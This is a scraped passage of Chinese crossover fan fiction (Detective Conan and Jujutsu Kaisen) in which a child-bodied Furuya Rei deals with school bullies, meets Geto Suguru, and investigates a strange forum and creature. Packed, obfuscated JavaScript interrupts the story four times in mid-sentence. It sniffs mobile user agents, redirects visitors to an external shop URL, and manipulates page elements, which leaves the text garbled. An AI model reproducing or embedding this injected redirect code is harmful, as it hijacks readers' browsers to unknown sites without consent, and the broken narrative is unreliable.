“我没有告诉你的必要,没钱的黑皮丑八怪。”男孩挑剔地上下扫视降谷零,“你只需要记住一件事:离樱子远点。” 降谷零笑容微滞,眉梢挑起,这句话的槽点真多。 且不提这种小说里才会有的霸道发言——穷鬼?谁?是说在组织里公款私用的他吗?真想把这句话录下来循环播放给吃牢饭的那些前同事听听,都说了他真的不是薪水小偷。 还有,黑皮就算了,但丑八怪?那是朗姆,他可是波洛的招牌。 以及,“樱子”?哪个“樱子”?他光说过话的“樱子”就有三个,更别提全校那么多人了。 降谷零略过那些没什么杀伤力的人身攻击,好脾气地继续问:“抱歉,请问你说的是哪个樱子?” 男孩瞬间就炸了,拔高声音质问:“哪个?你不知道樱子是谁?!” 见他不高兴,跟着他的一个寸头男孩立刻跳出来:“是三年级三班的加藤樱子学姐!你个蠢货!只有加藤学姐才是最闪亮的樱子!” “没错,就是这样。”男孩扬起下巴,用鼻孔喷气,“识相的话就离樱子远点,不是什么臭鱼烂虾都有资格待在她身边的,不然别怪我不客气!” 哦,是加藤樱子啊,原来如此,降谷零了然。 加藤樱子是降谷零现在所在班级的学习委员,为人温柔大方,在班里很有人气和号召力,降谷零刚入学的时候就是被她和班长一起带着熟悉班级的。 因为这一层原因,他们关系还算不错,之前带头邀请降谷零周末去玩的人就是她。 不过虽然说关系还不错,但降谷零对加藤樱子在班级外的人际关系不是特别清楚,只知道她在社团认识一个腼腆害羞的学弟,而和眼前人类似的存在则完全没听说过,那么这个男生是……? 但现在的重点不是这个,降谷零依旧眉眼含笑:“这位同学,虽然不知道你出于什么原因说这些话,但我和加藤同学只是普通同学,所以如果没有其他事情的话我就先告辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048654|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 说罢,降谷零就往旁边走,想直接绕过对方。 但打头的男生侧跨一步,又堵在降谷零面前,很不满:“普通同学?普通同学会邀请你一起周末玩吗?你现在居然说这种话?你辜负了她!没担当!” 降谷零:…… “这位同学,我建议你不要乱用不会使用的词语。”什么辜负不辜负的,是这种用法吗。 “你不要逃避重点!”男生打断他,“樱子邀请你是看你可怜,不要奢求不该奢求的东西,听到了吗!” 降谷零:………… 真想问问他,他平时都在看一些什么乱七八糟的东西,不然怎么会说出这种令人无语的、影视作品里才会有的发言。 而且未免有点也太过了吧? 降谷零不知道对方这种占有欲是真的喜欢,还是只是对朋友的独占欲,又或是其他,因为小孩子对情感很懵懂,分不清区别,比如会把依赖误解成喜欢,导致认知和行为偏离,这是无可厚非的,降谷零能理解,他也有过这种时候,但对方这种地步…… 降谷零暗中皱眉,但面上却没有异样:“你想多了。”各个方面都想多了。 “所以,没有别的事了吧?那么我就告辞了。”降谷零换了个方向离开,为了防止又被堵住,这次绕得距离大了许多。 “站住!” 打头的男生暴喝,跟班中的一个立刻去拦,降谷零轻巧地侧身避开伸过来的手,没让人碰到。 但对面也不在意抓没抓住,反正老大没说,只要把人留住就行,于是降谷零被围了。 降谷零:……………… 到底要怎样啊? 其实以他的身手想要直接离开不是问题,又或者直接“以理服人”也行,但非必要情况降谷零不想用暴力解决问题,更何况对面只是小学生。 至于直接离开……对面看上去不会轻易停手,降谷零不想以后屁股后头都缀着几个麻烦,所以还是趁现在一次性把事情解决吧。 降谷零看向领头的男生,笑容淡了下来:“你还有事?麻烦一次性说完。” 打头的男生更恼怒了,他重新绕到降谷零面前,面容凶狠地逼近:“你这家伙!我让你走了吗?你敢不把我放在眼里?!” 其余跟班的附和立刻此起彼伏:“就是,你居然敢不把老大放在眼里!给我们老大道歉!” “道歉!” “快点道歉!” 周围三个人像是复读机,尖锐的声音在降谷零耳边立体环绕,他看着对面打头的男生仰着下巴理所当然的样子,耐心逐渐告罄:“把你放在眼里……?” 降谷零将这句话在舌尖滚了一圈,表情似笑非笑:“请问,我为什么要把你放在眼里?” “以及我还有一个问题想要请教。”降谷零的语调黏腻又轻快,“这位不知名同学,请问加藤同学知道有你这么一个——麻烦精,在背后借着她的由头挑事,败坏她的名声吗?”他特意咬重了“麻烦精”之后的字的发音。 “你什么意思?!”打头男孩的怒火瞬间从眼眶喷出,他捏紧拳头,一字一顿地从牙缝挤出警告,“我、给、你、道、歉、的、机、会。” 三个跟班也配合上前一步,将人围得更紧。 5. 第 5 章 降谷零对此有恃无恐,别说四个人了,就算再来四个他也不怕。 他更在意的是这几个人动作默契,一看就没少干这些事情,那么是不是说明他们除了会语言欺凌别人,还会动手?那性质就更恶劣了。 降谷零微微眯眼,思索着要怎么处理才能让他们改邪归正做三好学生。 就在此时,降谷零身后传来一声怒斥:“山本亮太!你又在欺负人!” 降谷零来不及回头,就被拽住书包拉出了包围圈。 好悬被拉倒、借着身体记忆才将将站稳的降谷零:……? 什么情况?他被近身了?还是近身后才察觉到的? 不行,这简直是公安失格!他不应该因为周围都是小学生就松懈的!要立刻调整心态! 反思好自己的降谷零抬眼看向前方,一个黑色短发男孩正挡在他面前和戴着帽子的男生对峙。 “你有完没完了?上次的教训还没吃够吗!” “夏油杰!”打头的男生——或者说山本亮太——的仇恨值立刻转移,“你这个多管闲事的家伙才是有完没完!我们做什么跟你有什么关系!” “你们欺负人就和我有关系!怎么,是还想被我揍一顿吗?”夏油杰说着就扔下书包,撸起袖子,一副现场开打的架势。 “你!”眼熟的动作让山本亮太回忆起糟糕的经历,他不自觉后退一步,不甘地瞪了一眼降谷零,“该死……算你走运!我们走!” 四个人呼啦一下全部跑走。 见他们彻底消失在转角,夏油杰紧绷的肩膀才放松下来,转身查看身后人的情况:“怎么样,你——” “你是外国人吗?”夏油杰瞬间睁大眼睛。 刚刚他是从后面跑过来的,只看见被围住的人是少见的金色头发。等面对面后,他才发现对方的肤色也很少见,原本要说的话就不由自主地拐了个弯。 但话刚说出来夏油杰就后悔了,因为这样有点太冒犯别人了,可惜说出去的话,泼出去的水,他只能立刻道歉补救:“对不起!我没有其他意思!我原本是想问你有没有事,结果不小心就……” “不用道歉,我的外貌本来就和大家不一样,你好奇也是正常,我不在意。”降谷零帮夏油杰捡起书包,拍掉粘上的灰尘递过去,“刚刚多亏你赶来我才没有事,谢谢你。” “不客气,你没事就好。”夏油杰不甚在意地摇头。 他接过书包,慢吞吞地重新将其背到背上,期间抬眼看了降谷零一眼又一眼,眉心因为纠结不自觉蹙起:“那个……” 降谷零一下就能看出夏油杰的想法,毕竟他眼里的好奇快溢出来了,无非就是想追问自己的国籍之类的。 没有直接问的原因是在组织措辞吗?比起之前大多数毫无顾忌、想说什么就说什么的孩子们,这个孩子还算挺有分寸的。 “刚刚好像漏回答你一个问题?”降谷零率先开口,“我不是外国人,是日本人,只不过是混血。” 说着,他捏起一缕发丝撇嘴:“是不是太奇怪了?好多人都这么说……” “不奇怪!”夏油杰打断,刚刚面上的和风细雨立刻转为阴云密布,他唇瓣抿紧,面色严肃地盯着降谷零,“只是少见的外貌而已,与其说是奇怪,不如说是独特,我甚至觉得有点酷!因为白鸽就是金色的头发!” 见状,降谷零有点新奇地重新打量面前的小男孩。 直接挑明自己的与众不同,再自己抱怨自己的奇怪点,同时露出弱势的表情——这样一套组合技下来,基本能解决九成以上的小孩子对自己外貌的过度关注,从入学到现在,这招可以说是屡试不爽。 按降谷零的经验,夏油杰的第一反应应该是安慰自己,但他却夸赞自己“酷”?还真是少见的评价,是托“白鸽”的福吗?白鸽……一个人?还是角色? 另外,怎么就忽然变脸了?也太猝不及防了。 见降谷零呆呆的没反应,夏油杰直接上前一步拉住他,郑重其事道:“我说的都是真心话!所以,你千万千万千万不要把那些评价放在心上!” 夏油杰攥住降谷零的力气有些大,降谷零心下讶然,日本人都是很有边界感的,在整个社会氛围的影响下,小孩子也耳濡目染,很懂得和他人保持距离,没想到夏油杰会对他这个刚认识的人上手。 可能对其他大部分人来说,夏油杰这样堪称冒犯对行为会让人不悦,不过降谷零不会,更何况这孩子这是在担心他,他就更不会在意了。 暖流滑过心间,降谷零露出笑容:“你放心,我不会放在心上的。” “真的吗?”夏油杰狐疑地盯着降谷零。 “是真的,我向你保证。” 夏油杰反复观察,确定降谷零神色正常才松了口气放开他:“那就好,为了不值得的人贬低伤害自己是不明智的选择。” 降谷零:……? 等等,贬低?伤害?他哪有?在最单纯的时候他都不会这么干——他只会揍回去——现在就更不会了,夏油杰怎么会产生这样奇怪的误解啊! 刚刚的暖流刹那间被闪电击中,溅出烫人的水花,糊了降谷零一脸,他久违地体验到哭笑不得的感觉。 不过降谷零也没有直接反驳扫对方的兴,而是认真回复:“我绝对不会那样做的。” 夏油杰满意地点点头:“这样才对。” “对了,我是夏油杰,三年级一班,初次见面请多指教。”他冲降谷零伸出右手。 看上去是要握手?降谷零眨眨眼,配合着完成这道对于小学生而言过于正式的社交流程:“我叫降谷零,三年级三班,请多指教。” 从刚刚起他就想说了,夏油杰的性格好板正啊,感觉依稀能看见曾经的自己。 有点怀念啊…… 不过怀念归怀念,这不影响降谷零套话。 “今天多亏有夏油同学在,不然刚刚我都不知道该怎么办了。”提起刚刚的事情,降谷零露出心有余悸的表情,“话说他们是谁啊?我都没见过他们,他们就忽然冲上来把我围了。” 夏油杰露出厌恶的表情:“他们就是一群神经——” 骂人的话脱口而出,但在说完前又急刹车咽回去,夏油杰瞄了一眼降谷零,有些懊恼地抓了抓头发:“我的意思是,他们是一群神经……呃……神经有点与众不同的人。” 是想说“神经病”吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048655|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临时改口是觉得骂人不好?不过从那几个学生之前的表现,和夏油杰条件反射的骂人,再加上之前提到的“又是他们”……回头查查好了,霸凌就该滚出学校。 降谷零将这些想法压下,假装没看出小朋友尴尬的找补,顺着他的话接下去:“原来如此。不过确实,莫名其妙就来堵我这个陌生人,除了神经与众不同也没别的解释了吧?” 夏油杰:…… 他看着一本正经的降谷零有些无言,虽然话是他说的,但怎么从对方嘴里这样说出来就这么怪呢? 降谷零有些苦恼地皱眉:“不过这样就麻烦了啊……他们看上去不会善罢甘休,这次没结果,下次肯定还会再来。” “咳,没关系。”夏油杰清清嗓子,把人的目光引来,自信地拍胸脯保证,“不用在意他们,我会解决的。” “真的吗?”降谷零眼睛一亮,但很快又忧心忡忡,“夏油同学要怎么解决?会不会给你添麻烦?他们人数有优势……这件事是因我而起的,不然我和你一起吧?” “不用。”夏油杰摇头,“放心,我有经验,一切都可以交给我,我会保护你的。” 听见这话,降谷零顿了一下,将夏油杰轻描淡写的表情收入眼中,心中思绪流转,这么自信,是有什么倚仗? 降谷零没再坚持,而是弯起眼睛,露出甜甜的笑容:“这样吗?那好吧,谢谢夏油同学。” “举手之劳罢了。”夏油杰看了看天色,又看了一眼手表,重新看向降谷零,“你家在哪里?我送你一程,免得那些家伙又拦住你找事。” 降谷零不着痕迹地扫了一眼夏油杰朝外的脚尖,再加上他看时间的动作,知道他着急离开,拒绝道:“不用了,我对这附近还算熟悉,知道他们离开的方向都通连哪些路,反方向避开就好。” 夏油杰没同意:“不行,还是有风险,我带你一程最好。” “但是夏油同学不能一直带我吧?”降谷零指出一个重点,“我总会有一个人走路的时间。” 夏油杰皱眉,这确实是客观存在的问题,他不经啧了一声,说:“果然山本亮太就是个麻烦制造机。” 他看向降谷零:“那你……” 降谷零顺势接过话头:“我没关系。既然早晚都会一个人走,那是早是晚就没区别了。今天已经很麻烦夏油同学了,不能再继续麻烦你,而且,知道有人在暗中,那么我就不会轻易重蹈覆辙。” “另外,其实我跑步还挺快的。”他俏皮地眨眨眼,“所以别担心。” 夏油杰拧着眉思索片刻,看降谷零一派轻松的样子,最后妥协了:“既然你这样说的话,那好吧,我勉强信你好了。别忘记你说的,遇事一定要跑,知道吗?不要像今天一样硬撑。不过你也不用太紧张,那边我会尽快解决的。” “好的,我知道了,谢谢你。”降谷零乖巧应下。 “没事。”夏油杰又看了一眼手表,“那我就先走了,你一个人小心,有事情可以去我们班找我。我先走一步,再见。” “嗯嗯,夏油同学再见。”降谷零挥手告别。 看人的背影渐渐变小,降谷零叹口气,也快步离开,迅速往家赶。 6. 第 6 章 其实说是“家”也不严谨,对降谷零来说,这个世界只是一个比较特别的出差地,既然是出差的地方,那他现在的落脚点顶多算是旅馆。 唔……大概可以和安全屋进行类比?里面的东西没有感情,全是技巧,大部分都是生命体征维持用品,比如厨具之类的,少部分是一些提升生活舒适度的器具,比如空调之类的,还有一些其他方便工作的东西。 “我回来了。”习惯性地对着空旷的房间打了声招呼,降谷零将书包靠在鞋柜旁,换鞋进屋。 简单将屋内检查一遍,确定和自己离开前一样后,他踩着拖鞋去卫生间洗手。 众所周知,除非特别定制,否则洗手台都是按成年人的身高设置的,而降谷零现在只是一个小学生,所以他不得不在旁边放一个踩脚的小凳子。 当成年人久了就会忘记小时候的各种不便,第一次够不到水龙头的时候,降谷零在洗手台前愣了好一会儿才不得不接受他身高不够的事实,后面适应了两三天才习惯。 不过习惯归习惯,就算习惯了也改变不了这很不方便的事实。 降谷零木着脸踩上儿童凳拧开水龙头,在心里第无数次计算重新装修、把全屋地面垫高的可能性。 ——他真的受够了干什么都要先垫脚的日子了! 可进一步计算一下:装修前期的准备工作、装修的施工时间、装修后晾晒甲醛的功夫,还有其他装修时住宿的问题等…… 想到这些,降谷零又第无数次放弃这个令人心动的计划,有折腾这些的精力,他还不如定制个增高垫或者厚底鞋穿呢。 将手擦干,降谷零跳下凳子往厨房走,边走边感慨工藤新一的厉害:哪怕小孩子的身体这么不方便,都没能阻止他搞出那么多事情,降谷零自愧不如。 哦对,还有灰原哀,听说她还在做实验,实验台也不适配小孩子的身体型号,她大概也得垫着脚做吧。 降谷零想着这些乱七八糟的事情,打开冰箱。 按照他的习惯,他一般会在回家顺路时购买第二天的食材,到这边后他依旧保持了这个习惯。 但今天比较特殊,他着急回家,就没走有超市的那条路,于是现在冰箱的格外空旷。 降谷零巡视两圈,没看见想吃的东西,就合上冷藏门,打开冷冻抽屉抽出速冻食品。 “随便将就一下好了。” 接水、烧水、下锅、出锅,算上吃饭和收拾厨房的时间,降谷零成功在半个小时内搞定一切,然后他换了一身不起眼的常服出门了。 楼里住的大部分都是工薪族,这个时候他们还未下班,其余赋闲在家的人也不会在这个时间点出门,降谷零放轻脚步离开,未引起任何人的注意。 一出大楼,降谷零就避开人来人往的主路,钻进小巷,往公寓的反方向离去。 …… 二十分钟后,降谷零出现在一栋陈旧的大楼附近。 他先在大楼周围绕了好几圈,确定安全后,他带上兜帽和医用口罩,低调地进入一楼楼梯左边的第一间屋子。 一进门,降谷零连鞋都没换,第一件事就是在全屋迅速检查一遍。 没有多出来的窃听和监控设备,原本留下的几处记号也和之前一样。 确定一切如常后,降谷零快步走进卧室。 随着木门一开一关,重新回到客厅的降谷零已经换了一身黑:鸭舌帽和卫衣兜帽将金发彻底掩盖,长袖长裤将则肤色遮住。 照了一下玄关的镜子,确定没有遗漏后,降谷零捞起黑包,推着一辆儿童自行车靠近大门。 他侧耳倾听,在外面的动静彻底安静下来后,轻手轻脚地推着自行车出去。 照旧先在附近的小路饶了几圈,然后降谷零才换了方向,往老城区骑去。 …… 降谷零一路避着摄像头,绕开人流量大的地方,走一段就往身上加一个伪装。 几十分钟后,等降谷零打着转靠近一栋颇有年代感的一户建时,他的脸上已经带上了黑色墨镜和黑色口罩,手上也戴着黑色手套。 将车子藏进远处的灌木丛,降谷零蹲在角落,从包里翻出化妆用品,给自己眼尾画上几条皱纹,又加了几个老年斑在脸上,然后戴上美瞳。 检查好妆容没问题后,他才戴上一顶灰白色的假发,然后把墨镜换成加厚版平光镜,重新扣上帽子。 接着,降谷零佝偻着背,脚步蹒跚地走向其中一栋房子,打开了后门。 进屋后,他没有放松警惕,再次检查了屋内的安全。 确定这边也没问题后,降谷零才稍稍抬起帽檐,从保险柜不远处的沙发下捞出电脑包,给笔记本充电。 这个时候的笔记本续航不如之后,哪怕降谷零极少使用,使用后也及时充电,过一个晚上也掉电很多,他只能像现在这样将就用。 房屋没有开灯,窗帘也没有拉开,电脑充电线上的红灯是唯一亮光,降谷零盘腿坐在地板上,等笔记本的电量到健康状态后,收拾好东西再度出门。 此刻天已经完全黑了下来,路灯的柔光下围绕着数只小飞虫,降谷零找回自行车,又往居住区后面的废弃仓库骑去。 七拐八拐后,降谷零停在杂草最茂盛的一处,他将车子放倒,套上鞋套缓步走近。 四下寂静,只余鞋底擦过草丛的窸窣声,降谷零慢慢靠向布满锈迹的仓库。 大门没有关严,一束月光在门口滞留,照亮地上泛黄的报纸堆,依稀可以看见它们零零散散地向深处延去。 降谷零单肩斜挎着包,小心地侧身进去,踩到报纸上面。 打开手机,降谷零借着屏幕微弱的光芒,踩着报纸铺成的地毯,向之前选定的暂时据点走去。 这个仓库曾经大概只用于储藏,在废弃后显得格外空旷,除了被留下的货物架,只余几个空纸箱躺在各处,还有一个被遗忘在一边的灭火器箱。 降谷零绕到办公隔间,弯腰爬进桌下,将电脑取出来放在腿上,打开浏览器输入了一个网址。 降谷零在查一个东西,从他转学前就在查,可一直没有收获,直到今天才摸到线索,这也是他着急回家的原因。 结果没想到,越是着急就越是快不了,不是被同学拖住聊天,就是被老师叫去谈心,最后还碰见了堵路找茬的,降谷零都无奈了。 行吧,急不来那就不急了,慢慢来吧,反正东西就在那里也不会跑。 看开了的降谷零在回家前还帮隔壁楼的一个高中生找到了丢失的钥匙,甚至跟对方多聊了一会儿才回家——左右他今晚都是要挑灯夜战的,多一会儿和少一会儿也没差了。 屏幕特意被调低亮度,荧光止步办公桌的边缘,电脑发出嗡嗡的低鸣,网页的加载进度条缓慢爬行,降谷零支着下巴,无限怀念二十年后的网速。 好在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048656|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他没等太久,就是……这加载出来的页面怎么和想象中差那么多啊? 降谷零迟疑地打开手机,重新点进打了标记的私聊,里面只有简短的两句话。 【nmr667:网页链接】 【nmr667:救你的蛛丝只能在这里找到。】 再三检查后,降谷零确定他没打错任何一个字母,这就是他的目标网址。 可这首页的内容和他想要的内容不能说一模一样,只能说毫不相干啊?! 难道这个nmr667和之前找来的人一样,都是骗子?但这家伙图什么?图给小众论坛拉粉丝吗? 降谷零盯着网页论坛的名字——厌丑症——陷入沉思。 有一说一,降谷零从未听说过“厌丑症”,只听说过“恋丑癖”,这网站它真的正经吗? 降谷零满腹吐槽,无语地翻看网页,但看着看着,他手下的动作就慢了下来,原本漫不经心的眼神也严肃起来。 无他,里面的一些帖子用了不明显的黑话,要不是降谷零在组织混久了,都不一定认得出来。 降谷零的公安雷达瞬间动了:其他东西都可以再议,但这几个疑似犯罪分子的用户要抓紧时间查清,该举报的举报掉! 他摩拳擦掌,退出贴子准备重头仔细筛查。 但在回到首页时,降谷零刷到了一个新帖子,帖子的标题让他暂时按住了自己蠢蠢欲动的手。 【有人说这里有能解决我的问题的方法!骗子!!!我就要死了!都给我等着!!!你们全都别想活!!!!!】 “问题”、“解决方法”、“推荐”,看见这些关键词,降谷零瞬间就想到了自己相似的经历,他精神一震,“啪”的一下点进去,却被提示帖子被删除。 咦?这么快?降谷零挑眉。 看来这个论坛有情况啊? 等等,厌丑症,厌丑症…… 厌丑症…… 厌……丑? 嗯? 一道灵光闪过,降谷零倏地想起他一开始调查的原因——他遇见了一个……奇怪的生物。 一切要从签完契约说起。 在进入世界前,降谷零和两个世界意识有一段同行的旅程。 按理说,签完契约,降谷零原世界的世界意识就该离开了,但祂不放心,要求考察一遍自家孩子未来生活的环境。 因为祂是完全的外来者,所以需要本地世界意识带着行动,本地世界意识琢磨了一下,觉得这是一个合理的要求,同意了。 见状,降谷零也以提前收集情报为由,请求一起。 本地世界意识对这个已经预定下来的打工崽很看好,也同意了,反正带一个也是带,带两个也是带。 世界意识是世界的化身,祂们可以是世间的任何事物,但论赶路速度,还是用飞的比较快。 因此,本地的世界意识带着他们化成了一片云,以非常人能及的速度走遍了全球各地。 有幸体验了上帝视角的降谷零:…… 他不是特别想评价,只能说一言难尽。 如果只是速度过快,降谷零还能忍受,毕竟他坐过萩原研二的车——当然,他不是有意拎萩原研二出来说的,只是下意识就想起来第一次坐完那家伙的车后的狼狈,那种感觉和此时如出一辙,只是程度不同罢了。 可是那不只是速度快的问题! 7. 第 7 章 因为世界意识觉得人类接收信息的能力有限,所以为了让降谷零更高效地收集情报,达成他的目的,世界意识和降谷零的意识相连了—— 于是降谷零遭受了巨额信息洪流的冲击。 用过电脑的都知道,假如硬件设备性能跟不上,那么软件就会运行不了,严重了甚至会导致死机,降谷零和世界意识共享意识的时候大概就是这种情况——仿佛在硬用老旧的台式电脑加载跨时代的人工智能,下一秒就会过载爆炸。 偏偏有世界意识保护,降谷零根本不会出事,只能清醒着晕。 降谷零:……好想吐。 这一遭走下来,降谷零觉得自己人没了一半,双脚重新踩在地上的时候颇有种不知日月的恍惚感,就连他家世界意识告别的时候都没缓过来,只凭本能反应,但好歹没让两个世界意识看出异样。 该说不说,多谢组织的“培养”,他才能在这种极端条件下“一切如常”。 组织:? 组织:呵呵。 送走了降谷零原世界的世界意识,这边的世界意识也准备告别,不过祂还有一个疑问。 [为什么让我把你留在东京?我给你准备的房子不在这里。] 降谷零深呼吸压下不适,草木味夹杂着花香萦绕鼻尖,他的头脑有些迟钝,一时没能分辨出到底是哪一种花,只知道不是樱花…… 借着按摩着太阳穴的动作,降谷零遮住有些苍白的面色,解释道:“东京的图书馆里的书比较齐,我想去一趟,也是收集情报的一部分。” [原来如此。] 世界意识又问:[那为什么是这里?我直接送你去图书馆不好吗?] 降谷零顿了一下,露出有些无奈的表情:“突然出现在图书馆里不太方便,万一被人注意到就不好了。而且,我觉得自己需要重新适应一下作为人类的移动方式,从这里走过去刚好。” [好吧,如果这是你期望的。] “说起来,我以为您会反对,不同意我们参观。”降谷零的视线从前方空旷的公园移开,落在一个路过的人身上,对方和他擦身离去,却毫无反应。 [祂只是担心你。] “这样啊。” [时间差不多了,我该去休眠了。之后见,降谷零先生。] “之后见。”降谷零笑了一下,“相信那时候会有好的结果的。” [希望如此。请万事小心。祝君武运昌隆。] 世界意识离开了。 在祂离开的那一瞬,四周的一切忽然变得过分清晰起来,就好像罩在头顶的水晶球玻璃被移开。 树叶飘飘荡荡落下时荡起的微风,昆虫从其下列队爬过时留下的脚步,麻雀截断它们的队形后飞上天际时羽毛的颤动…… 时间好似被拉得很长,又好似很短,降谷零惊讶地睁大眼睛,下意识去捕捉那些细节,但很快一切恢复如常。 世界重新回归“寂静”。 降谷零环视四周,在原地等了片刻,没有等到其他动静。 刚刚那是什么?那种仿佛世间万物尽在眼中的全知感…… 之前和世界意识相连也可以说是全知,但两者还不一样,相连时只是旁观者,而刚刚是参与者。 非要类比的话……也许可以用全息游戏类比?和世界意识相连的感觉是游戏载入前,看游戏概念画面的播放;而刚刚的感觉则是正式登入游戏后,进入了游戏中,可以切身体验。 可惜,附近也没有第二个路人让降谷零参考,看看是不是这里的人可以看见他了。 不过降谷零认为他的猜测八九不离十。 那么他家世界意识一开始说的“保护期”就不完全对,比起保护他,那更像是在保护世界不被入侵。 就是不知道这个类似“保护期”的东西是这个世界意识主动设置的,还是被动的,要是他家世界意识没有离开—— 唔,不然好像也问不出什么,他家世界意识似乎也没比他多知道多少。 降谷零摇摇头,向公园中央的空地走去,找到一处阴凉处盘腿坐下。 和世界意识共享感官的后遗症还是有点重,降谷零准备再多缓一缓,他向后撑在地上,闭上眼睛,仍由光线穿过树叶间隙落在脸上。 “……” 清风路过,撩起一缕发丝,带来一阵痒意,降谷零睁开眼,目光落在虚处。 不行,太安静了,安静的让他有点不太习惯。 按理说,在这个时间点,这里应该到处是拉练声的。 ——他是说,在原来的世界里。 降谷零曲起腿,把自己埋在膝盖间。 这个世界和他的世界实在是太像了,像到让他产生了不切实际的想法。 抱着一丝期待,在全球旅行的时候,降谷零对比了两个世界的异同,发现二者从外部来看几乎一模一样,那时降谷零几乎要以为自己其实还在原来的世界里。 ——然后他就发现这里没有米花区。 血管里奔涌冲撞的液体瞬间安静下来。 等站到曾经一起上课的警察学校的地点时,降谷零心中仅余的最后一丝光芒也熄灭了。 不一样。 这里不一样。 这里是其他世界,没有他们。 意识到这点的降谷零说不上自己的心情是失落还是庆幸,大概是二者都有吧? 妄想终归是妄想,但正好,方便他公事公办,办完早日回家。 又在记忆中樱花树的位置坐了片刻,降谷零吐出一口浊气,收拾好心情站起来,打算去图书馆查看这个世界的发展史,以防暴露外来者的身份。 没成想,他一抬头,就和一个从未见过的生物对上视线。 这个生物实在奇特,头身比是一比一,其中眼睛占了头部的一半,呲着牙,表情呆傻,头下有类似人类的四肢,背后长了翅膀。 降谷零:……? 这是什么?精灵?这个世界难不成是魔法世界吗? 啊?这对吗?世界意识委托他解决的该不会是伏○魔复活这种事情吧? 别吧,他只是个普通人啊! 大概是他盯了太久,冒犯到了对方,那个长相奇特的生物以极快的速度直冲他的门面袭来。 降谷零:?! 被吓到的降谷零就地一滚,顺着本能反手就是一拳。 但拳头是挥出去了,可手上却没传来击中的感觉,他甚至还因为力道过大踉跄一下,差点向前栽倒。 被躲过去了?来不及细想的降谷零迅速调整平衡,调动全身肌肉戒备对方的下一次攻击,警惕地观察四周。 然而一秒,两秒,三秒……数秒过去,仍然无事发生。 这么有耐心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048657|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是让自己放松后再突袭的战术吗?降谷零将计就计,调整站姿,假意卸下防备,等待对方的行动。 但是一分钟,两分钟,三分钟……数分钟过去,还是不见对方的动静。 降谷零面上出现迟疑的神色。 对方离开了?不会吧?都动手了,怎么会半途而废? 降谷零不信邪,又等了一会儿,依旧无事发生。然后他又提着气,仔细搜查了几遍附近,但什么都没找见。 回到原地的降谷零一头雾水,他估算了一下时间,如果从对方消失开始算,到现在已经大概有二十多分钟了,再怎么埋伏应该都不会这么久,而且他快找遍整个公园了,都没看见那个生物的身影,那么那个生物是真的离开了? 降谷零:…… 真的假的?真半途而废啊?还是先动手的情况下? 降谷零低头打量了一下看上去弱不禁风的自己,更不解了。 不是,为什么啊?一对一欸,那个生物就这么跑了?跑的难道不应该是他这个普通人吗? 又或者说,其实那个生物不是在攻击他,却没想到他动手了,所以被他吓跑了? 降谷零陷入了头脑风暴。 …… 总之,自那天之后,降谷零就开始调查那个生物,但几天调查下来,他居然没有发现任何线索,这显然是不正常的。 雁过留痕,那个生物的线索能干净到这种程度,很明显是被人刻意从大众眼前抹去了,就像哈○○特中的魔法师一样,非同类不可知晓。 只是如果是这样,那用普通的方法就没办法了解详情了,这严重妨碍了降谷零做委托的进度,他怀疑自己任务的关键点就在另一个侧的魔法世界里。 要是真是这样,那他之前预估的做委托的方向就完全错误了。 降谷零又想起了和本地世界意识的另一段对话,那是关于任务细节的讨论。 这里的世界意识准备的契约上的委托是“阻止二十年后的惨剧”,乍一看和他们口头约好的内容一致,但实际上差得很远。 比如,“二十年后”是什么时候?是第二十一年吗?还是二十年之后的任何时间点?“惨剧”到底是指什么?是指他们之前谈到的涩谷的死亡乐园吗? 这个委托的描述实在模糊,降谷零在签字前曾追问过详情,但这里的世界意识对细节缄口不言,只说了一句话。 [请务必藏好手指,小心脑子。] “‘藏好手指,小心脑子’?”降谷零重复一遍,问道,“请问这个是暗号吗?” 总不能是真的指“手指”和“脑子”吧? 要真是这样,那难不成所谓的“死亡乐园”是普拉米亚配合器官贩子搞的恐怖袭击? 